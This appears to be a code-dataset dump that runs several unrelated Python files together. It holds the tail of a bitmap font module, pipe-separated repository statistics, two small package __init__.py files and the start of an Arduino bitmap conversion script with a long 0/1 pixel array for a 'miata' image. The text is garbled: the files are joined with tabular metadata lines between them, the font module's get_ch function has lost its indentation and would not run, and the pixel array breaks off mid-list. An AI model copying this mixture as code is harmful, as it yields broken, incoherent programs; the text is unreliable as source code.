b'\x00\x00\x00\x00\x00\x00\x00\x00\x07\xf0\x00\x1f\xfc\x00\x3f\xfe'\
b'\x00\x78\x0f\x00\x70\x07\x00\x70\x00\x00\x78\x00\x00\x3f\x00\x00'\
b'\x3f\xf0\x00\x0f\xfe\x00\x01\xff\x00\x00\x1f\x80\x00\x07\x80\x70'\
b'\x03\x80\x78\x03\x80\x3c\x0f\x00\x3f\xff\x00\x0f\xfe\x00\x03\xf8'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x0c'\
b'\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\xff\xc0\xff\xc0\xff'\
b'\xc0\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c'\
b'\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1f\xc0\x0f\xc0\x07'\
b'\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x13\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x38\x03\x80\x38\x03'\
b'\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80'\
b'\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38\x03\x80\x38'\
b'\x03\x80\x38\x07\x80\x3c\x07\x80\x3e\x1f\x80\x1f\xfb\x80\x0f\xf3'\
b'\x80\x03\xe3\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\xe0\x03\x80\x70\x07\x00\x70\x07\x00\x70'\
b'\x07\x00\x38\x0e\x00\x38\x0e\x00\x3c\x1e\x00\x1c\x1c\x00\x1c\x1c'\
b'\x00\x0e\x38\x00\x0e\x38\x00\x0e\x38\x00\x07\x70\x00\x07\x70\x00'\
b'\x07\x70\x00\x03\xe0\x00\x03\xe0\x00\x01\xc0\x00\x01\xc0\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x0e\x01\xc0\x70\x0e\x01'\
b'\xc0\x70\x1f\x01\xc0\x38\x1f\x03\x80\x38\x1b\x03\x80\x38\x1b\x07'\
b'\x80\x1c\x3b\x87\x00\x1c\x39\x87\x00\x0e\x31\x8e\x00\x0e\x31\x8e'\
b'\x00\x0e\x31\x8e\x00\x07\x71\xdc\x00\x07\x60\xdc\x00\x07\x60\xdc'\
b'\x00\x03\x60\xd8\x00\x03\xe0\xf8\x00\x03\xc0\x70\x00\x01\xc0\x70'\
b'\x00\x01\xc0\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\xf0\x07\x70\x0e\x38\x1e\x3c\x1c\x1c'\
b'\x38\x0e\x78\x0f\x70\x07\xe0\x03\xe0\x03\xc0\x03\xc0\x07\xe0\x0f'\
b'\xf0\x0e\x70\x1e\x38\x3c\x3c\x38\x1c\x70\x0e\xf0\x0f\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\xe0\x03\x80\x70\x07\x80\x70\x07\x00'\
b'\x78\x07\x00\x38\x0f\x00\x38\x0e\x00\x3c\x0e\x00\x1c\x1c\x00\x1c'\
b'\x1c\x00\x0e\x3c\x00\x0e\x38\x00\x0f\x38\x00\x07\x78\x00\x07\x70'\
b'\x00\x07\xf0\x00\x03\xe0\x00\x03\xe0\x00\x01\xe0\x00\x01\xc0\x00'\
b'\x01\xc0\x00\x03\xc0\x00\x03\x80\x00\x07\x80\x00\x3f\x00\x00\x3e'\
b'\x00\x00\x3c\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x7f\xff\x00\x7f\xff\x00\x7f\xff\x00\x00\x1e\x00\x00\x3c'\
b'\x00\x00\x78\x00\x00\x70\x00\x00\xf0\x00\x01\xe0\x00\x03\xc0\x00'\
b'\x07\x80\x00\x0f\x00\x00\x1e\x00\x00\x3c\x00\x00\x78\x00\x00\x70'\
b'\x00\x00\xff\xff\x00\xff\xff\x00\xff\xff\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x0c\x00\x00\x00\x00\xf0\x03\xf0\x03\xf0\x07\x80\x07'\
b'\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07'\
b'\x00\x0e\x00\x1e\x00\x7c\x00\x70\x00\x7c\x00\x1e\x00\x0e\x00\x07'\
b'\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07\x00\x07'\
b'\x00\x07\x80\x03\xf0\x03\xf0\x00\xf0\x00\x00\x09\x00\x00\x00\x1c'\
b'\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c'\
b'\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c'\
b'\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c'\
b'\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c'\
b'\x00\x1c\x00\x0c\x00\x00\x00\xf0\x00\xfc\x00\xfc\x00\x1e\x00\x0e'\
b'\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e'\
b'\x00\x07\x00\x07\x80\x03\xe0\x00\xe0\x03\xe0\x07\x80\x0f\x00\x0e'\
b'\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e'\
b'\x00\x1e\x00\xfc\x00\xfc\x00\xf0\x00\x00\x00\x15\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x80'\
b'\x00\x1f\xf0\x10\x3f\xfc\x70\x38\x7f\xf0\x20\x1f\xe0\x00\x07\x80'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00'
_index =\
b'\x00\x00\x6b\x00\xb3\x00\xfb\x00\x43\x01\xae\x01\x19\x02\xa7\x02'\
b'\x12\x03\x37\x03\x7f\x03\xc7\x03\x0f\x04\x7a\x04\xc2\x04\x0a\x05'\
b'\x52\x05\x9a\x05\x05\x06\x70\x06\xdb\x06\x46\x07\xb1\x07\x1c\x08'\
b'\x87\x08\xf2\x08\x5d\x09\xc8\x09\x10\x0a\x58\x0a\xc3\x0a\x2e\x0b'\
b'\x99\x0b\x04\x0c\xb5\x0c\x20\x0d\x8b\x0d\x19\x0e\xa7\x0e\x12\x0f'\
b'\x7d\x0f\x0b\x10\x99\x10\xe1\x10\x4c\x11\xb7\x11\x22\x12\xb0\x12'\
b'\x3e\x13\xcc\x13\x37\x14\xc5\x14\x53\x15\xbe\x15\x29\x16\xb7\x16'\
b'\x22\x17\xd3\x17\x3e\x18\xa9\x18\x14\x19\x5c\x19\xa4\x19\xec\x19'\
b'\x57\x1a\xc2\x1a\x0a\x1b\x75\x1b\xe0\x1b\x4b\x1c\xb6\x1c\x21\x1d'\
b'\x69\x1d\xd4\x1d\x3f\x1e\x64\x1e\xac\x1e\x17\x1f\x3c\x1f\xca\x1f'\
b'\x35\x20\xa0\x20\x0b\x21\x76\x21\xbe\x21\x29\x22\x71\x22\xdc\x22'\
b'\x47\x23\xd5\x23\x1d\x24\x88\x24\xf3\x24\x3b\x25\x83\x25\xcb\x25'\
b'\x36\x26'
_mvfont = memoryview(_font)
_mvi = memoryview(_index)
ifb = lambda l : l[0] | (l[1] << 8)
def get_ch(ch):
oc = ord(ch)
ioff = 2 * (oc - 32 + 1) if oc >= 32 and oc <= 126 else 0
doff = ifb(_mvi[ioff : ])
width = ifb(_mvfont[doff : ])
next_offs = doff + 2 + ((width - 1)//8 + 1) * 35
return _mvfont[doff + 2:next_offs], 35, width
| 65.139881 | 68 | 0.708114 | 10,721 | 43,774 | 2.889469 | 0.018655 | 0.660081 | 0.781522 | 0.900252 | 0.8272 | 0.760733 | 0.719382 | 0.673833 | 0.635709 | 0.604687 | 0 | 0.398231 | 0.01871 | 43,774 | 671 | 69 | 65.23696 | 0.322943 | 0.002193 | 0 | 0.253823 | 1 | 0.952599 | 0.91377 | 0.913495 | 0 | 1 | 0 | 0 | 0 | 1 | 0.013761 | false | 0 | 0 | 0.012232 | 0.027523 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 14 |
03d83864e7a0c3189daa1dcdc57b0775a24889ef | 148 | py | Python | MAB_algorithm/__init__.py | Antares0982/MLB-algorithm-template | 0008e66c0dcf59760b1141a8e11c5eecec77076e | [
"MIT"
] | 1 | 2021-12-11T11:26:14.000Z | 2021-12-11T11:26:14.000Z | MAB_algorithm/__init__.py | Antares0982/MLB-algorithm-template | 0008e66c0dcf59760b1141a8e11c5eecec77076e | [
"MIT"
] | null | null | null | MAB_algorithm/__init__.py | Antares0982/MLB-algorithm-template | 0008e66c0dcf59760b1141a8e11c5eecec77076e | [
"MIT"
] | null | null | null | from .arm import *
from .MAB import *
from .MAB_MC import *
from .mabplot import *
from .mabCutils import *
# TODO(Antares): Give hint to user here
| 21.142857 | 39 | 0.722973 | 23 | 148 | 4.608696 | 0.608696 | 0.377358 | 0.245283 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.182432 | 148 | 6 | 40 | 24.666667 | 0.876033 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
209df216f49da5e47110b6c4c394a061aeaea6d0 | 109 | py | Python | pget/__init__.py | myozka/pget | 42ec7b9529475de5bc14e3a368453c99221789be | [
"Apache-2.0"
] | 102 | 2017-07-18T18:36:01.000Z | 2022-02-15T13:12:30.000Z | pget/__init__.py | myozka/pget | 42ec7b9529475de5bc14e3a368453c99221789be | [
"Apache-2.0"
] | 12 | 2018-07-05T11:13:57.000Z | 2022-01-27T13:21:18.000Z | pget/__init__.py | myozka/pget | 42ec7b9529475de5bc14e3a368453c99221789be | [
"Apache-2.0"
] | 19 | 2017-07-19T14:19:10.000Z | 2022-01-21T14:12:53.000Z | from __future__ import absolute_import
from __future__ import unicode_literals
from .down import Downloader
| 21.8 | 39 | 0.87156 | 14 | 109 | 6.071429 | 0.571429 | 0.235294 | 0.376471 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119266 | 109 | 4 | 40 | 27.25 | 0.885417 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
20a898a1fddf153ee6da3ce3a6647974b4feb7df | 53,624 | py | Python | turbiata_display/arduino_bmp.py | larojas/turbiata-display | 2e2db7a8170611eb196c15cbddcb6c2de61c0dbb | [
"MIT"
] | null | null | null | turbiata_display/arduino_bmp.py | larojas/turbiata-display | 2e2db7a8170611eb196c15cbddcb6c2de61c0dbb | [
"MIT"
] | null | null | null | turbiata_display/arduino_bmp.py | larojas/turbiata-display | 2e2db7a8170611eb196c15cbddcb6c2de61c0dbb | [
"MIT"
] | null | null | null | # This utility program converts from GIMP's "C header file" output for
# monochrome images, to a much more compact format, suitable for an Arduino.
# The following entries are the "static char header_data[]" arrays that
# the GIMP outputs when exporting a monochrome image as a C header file.
miata = [
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,
1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
0,1,0,1,0,1,0,1,0,1,0,0,1,0,1,0,
1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,
0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,0,
1,1,1,0,1,0,1,0,1,0,1,0,1,1,0,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,
1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,
0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,
1,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,
1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,
0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,
0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,
0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,
0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,
0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,
0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,
0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,
0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,
1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,
1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,
0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,
0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,
1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,
0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,
0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,
0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,
0,1,0,1,0,1,0,0,1,0,1,0,1,0,0,0,
0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,
0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,
0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,
1,0,0,0,1,0,1,0,1,0,1,0,0,1,0,1,
0,1,0,0,1,0,1,0,1,0,0,1,0,1,0,0,
1,0,1,0,0,1,0,1,0,0,1,1,0,1,0,0,
1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,
1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,1,
0,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,
0,1,0,1,0,1,0,1,0,1,0,0,0,0,1,0,
0,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,1,0,1,0,1,0,0,1,1,0,0,0,
0,1,0,1,0,1,0,1,0,0,1,0,0,1,0,0,
1,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,
0,0,1,0,0,1,0,0,1,0,0,1,1,0,0,1,
0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,
0,1,1,0,0,0,0,1,0,1,0,1,0,0,1,0,
0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,
0,1,0,1,0,0,1,0,1,0,1,0,1,1,1,0,
1,1,0,1,0,1,1,0,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,
0,0,1,1,0,1,0,1,0,0,1,1,0,1,0,1,
1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,
0,1,1,0,1,1,1,0,1,1,0,1,1,0,1,1,
0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,
1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,
1,0,0,1,0,1,0,1,1,0,0,1,0,1,1,0,
1,1,0,1,0,0,1,0,1,0,1,0,0,1,0,1,
1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,1,
0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,
1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,
1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,1,
0,1,0,0,1,0,1,1,0,1,0,1,0,1,0,1,
0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,
1,0,1,0,1,0,1,0,1,0,0,0,0,1,0,0,
0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,
1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,
1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,
0,1,0,1,0,1,1,0,1,0,0,1,0,0,1,0,
1,0,1,0,1,0,0,0,1,0,1,0,0,1,0,1,
0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,
0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,1,
1,0,1,1,0,1,0,1,1,0,1,1,1,0,1,0,
1,0,1,1,1,0,1,0,0,1,0,1,0,1,0,1,
0,1,0,0,1,0,0,1,0,1,0,1,0,1,0,1,
0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,
1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,
0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,
1,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,
1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,
0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,1,
0,0,1,0,0,1,0,1,0,0,1,0,1,0,1,0,
0,1,0,1,0,0,1,0,0,0,1,0,1,0,0,1,
0,0,0,1,0,1,0,1,0,0,1,0,1,0,0,1,
0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,1,
0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,
1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,
1,0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,
0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,
1,0,0,0,1,0,0,1,0,1,0,0,1,0,1,0,
0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,
0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,
0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,
0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,
0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,1,
0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,
